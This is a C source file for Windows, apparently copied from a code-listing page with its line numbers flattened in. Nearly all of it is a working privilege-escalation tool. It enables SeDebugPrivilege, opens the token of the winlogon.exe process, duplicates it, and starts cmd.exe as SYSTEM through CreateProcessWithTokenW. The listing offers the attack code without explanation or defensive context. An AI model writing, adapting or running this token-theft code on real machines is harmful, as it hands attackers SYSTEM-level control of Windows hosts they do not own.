1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113
| #include <Lmcons.h> #include <windows.h> #include <TlHelp32.h>
BOOL SePrivTokenrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege); DWORD FindProcessPID(const wchar_t* ProcessName); int main(int argc, char** argv) { HANDLE hDpToken = NULL;
HANDLE hCurrentToken = NULL; BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hCurrentToken); SePrivTokenrivilege(hCurrentToken, L"SeDebugPrivilege", TRUE);
DWORD PID_TO_IMPERSONATE = FindProcessPID(L"winlogon.exe"); HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, PID_TO_IMPERSONATE);
HANDLE hToken = NULL; BOOL TokenRet = OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &hToken);
BOOL impersonateUser = ImpersonateLoggedOnUser(hToken); if (GetLastError() == NULL) { RevertToSelf(); }
BOOL dpToken = DuplicateTokenEx(hToken, TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID | TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, NULL, SecurityImpersonation, TokenPrimary, &hDpToken );
STARTUPINFO startupInfo = { 0 }; startupInfo.cb = sizeof(STARTUPINFO); PROCESS_INFORMATION ProcessInfo = { 0 };
BOOL Ret = CreateProcessWithTokenW(hDpToken, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &ProcessInfo);
return TRUE; }
BOOL SePrivTokenrivilege(HANDLE hToken,LPCTSTR lpszPrivilege,BOOL bEnablePrivilege) { LUID luid;
if (!LookupPrivilegeValue( NULL, lpszPrivilege, &luid)) { return FALSE; }
TOKEN_PRIVILEGES PrivToken; PrivToken.PrivilegeCount = 1; PrivToken.Privileges[0].Luid = luid; if (bEnablePrivilege) PrivToken.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; else PrivToken.Privileges[0].Attributes = 0;
if (!AdjustTokenPrivileges( hToken, FALSE, &PrivToken, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) { return FALSE; }
return TRUE; }
DWORD FindProcessPID(const wchar_t* ProcessName) { HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 process = { 0 }; process.dwSize = sizeof(process);
if (Process32First(snapshot, &process)) { do { if (!wcscmp((const wchar_t*)process.szExeFile, (const wchar_t*)ProcessName)) break; } while (Process32Next(snapshot, &process)); }
CloseHandle(snapshot); return process.th32ProcessID; }
|